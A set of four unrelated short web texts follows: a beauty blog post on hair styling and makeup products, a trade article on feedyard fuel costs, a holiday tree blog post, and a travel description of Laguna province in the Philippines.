I have no idea what inspired me to part my hair in the centre, it was probably Kendal Jenner's locks or Sonam Kapoor. Parting my hair differently made me look like my evil twin!! I don't know, but that day I was feeling experimental, as you can tell from the intensity of Kohl in my eyes. So for my hair, I blow dried it straight after washing it with the new Garnier Fructis Triple Strength Shampoo and Conditioner, since I am taking part in the #HappyHairChallenge. I blow dried my hair from the top, directed the air flow from the top of my hair to the bottom, and used the coldest setting with my paddle brush to blow dry it straight. I pulled the ends of my layers inwards using my paddle brush. You can see my blow dry routine in this video.
I used the Loreal Magic Nude Powder foundation as a base, and the Miss Claire High Coverage Foundation as a concealer on my blemishes and underneath my eyes. On my eyes, I have the Colorbar Just Smokey Kajal in Just Black, and Maybelline The Falsies Big Eyes Mascara. I just scribbled the kajal on the rims of my eye and smudged it with the smudger that comes behind the kajal. On my lips I have Miss Claire Soft Matte Lip Cream in No. 08. I love this shade of pink.
Google "Magica DeSpell" and tell me if we don't look similar!! hahaha :D


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Trying to manage fuel costs in a feedyard is a bit like paying taxes. Your options are fairly limited.
"There's just not an easy fix for it," says Sam Stevenson, assistant manager at Cattlemen's Feedlot at Olton, TX.
Buck Wehrbein agrees. Wehrbein, manager at Mead Cattle Co. at Mead, NE, says they're trying to coordinate trips to town to cut down on the miles, but their options at the yard are limited. "I missed the big up (in energy futures),and if I try to cover something now, I'll just buy at the high."
Beyond that, he says there isn't much he can do. "The more feed we haul, the better off we are. There isn't much you can do as far as cutting down on loads of feed."
Irsik and Doll feedyard, Garden City, KS, has long worked to run as efficiently as possible, says Manager Mark Sebranek. "To me, it's always been high," he says of fuel prices.
They've tried various brands of equipment, looking for those that are fuel efficient, and presently are running AGCO-Allison equipment, which is more fuel-efficient than other brands.
"We don't let (the equipment) sit around and idle," he says, "and we probably don't touch up as much as we used to." And, taking a cue from their experience with heavy equipment, he says they're looking at the possibility of eventually replacing their full-sized pickups with smaller, more fuel-efficient trucks.
Beyond that, like other feedyard managers, Sebranek says there's little he can do. A feedyard runs on its rolling stock, and the wheels must keep rolling.
Looking down the road, Stevenson is concerned that a possible fallout of high fuel costs is its effect on employees. "It's not uncommon to have a guy drive 30 miles to work. It's a concern that you're going to lose people because of the drive."
That hasn't happened yet, but Stevenson says he "wouldn't be surprised if we see a shift where these guys are looking for a job closer to home. They may be willing to do something they don't particularly want to do, but may have to out of necessity."
Stevenson isn't sure how the feedyard will deal with that problem, should it arise. Options include a possible pay hike or some other type of incentive. For now, he's hoping the matter will settle itself. "I'm hoping there's somebody close to here who is driving 30 miles to work and we can swap," he says with a laugh.
But then he turns serious. "It's kind of like at home. You can conserve so much by cutting back on your driving, but there are still the essentials you've got to do. You've got to drive where you need to drive, and do what you need to do."


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We were able to get our fresh tree this past weekend. Oh how I love the smell of pine + the look of twinkly lights. I thought I'd share a few photos with you as the decorating process continues...
|{At the lot selecting our tree}
|{the finished tree ~ twinkle lights, snowflakes, white + pink}
|{a few of our Christmases Past}
...And be on the look-out because very soon I'm going to be offering a Holiday Give-Away!!!
Don't you just love winning stuff? I've contacted some very cool merchants + some artsy friends who are willing to offer up some festive goods (think jewelry, candles + more). I'll be posting how you can win soon!
Stay in touch.


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Laguna is located south of Metro Manila and borders to Rizal, Quezon, Cavite and Batangas. And surrond almost all around the Laguna Bay. This lake is the biggest in the country. Laguna has lots of hot springs, lakes, and waterfalls. Most notable is Pagsanjan Falls. Another is Lake Caliraya, which is located between Cavinti and Lumban. The strong mountain breeze that blows from the Sierra Madre Mountain Ranges and the distant Mount Banahaw makes the lake an ideal place for aqua sports like wind surfing, water skiing, sailing as well as game fishing. Famous are the hot springs in Pansol, between Calamba and Los banos, the Hidden Valley Springs and the 7 lakes in San Pablo. The Mt Makiling is an inactive vulcano which reach 1109 meters high and makes it a nice place for nature tripping, trekking, bird watching and camping. Many industial parks are settled in this province but also agricultural and fishing activities are in Laguna.
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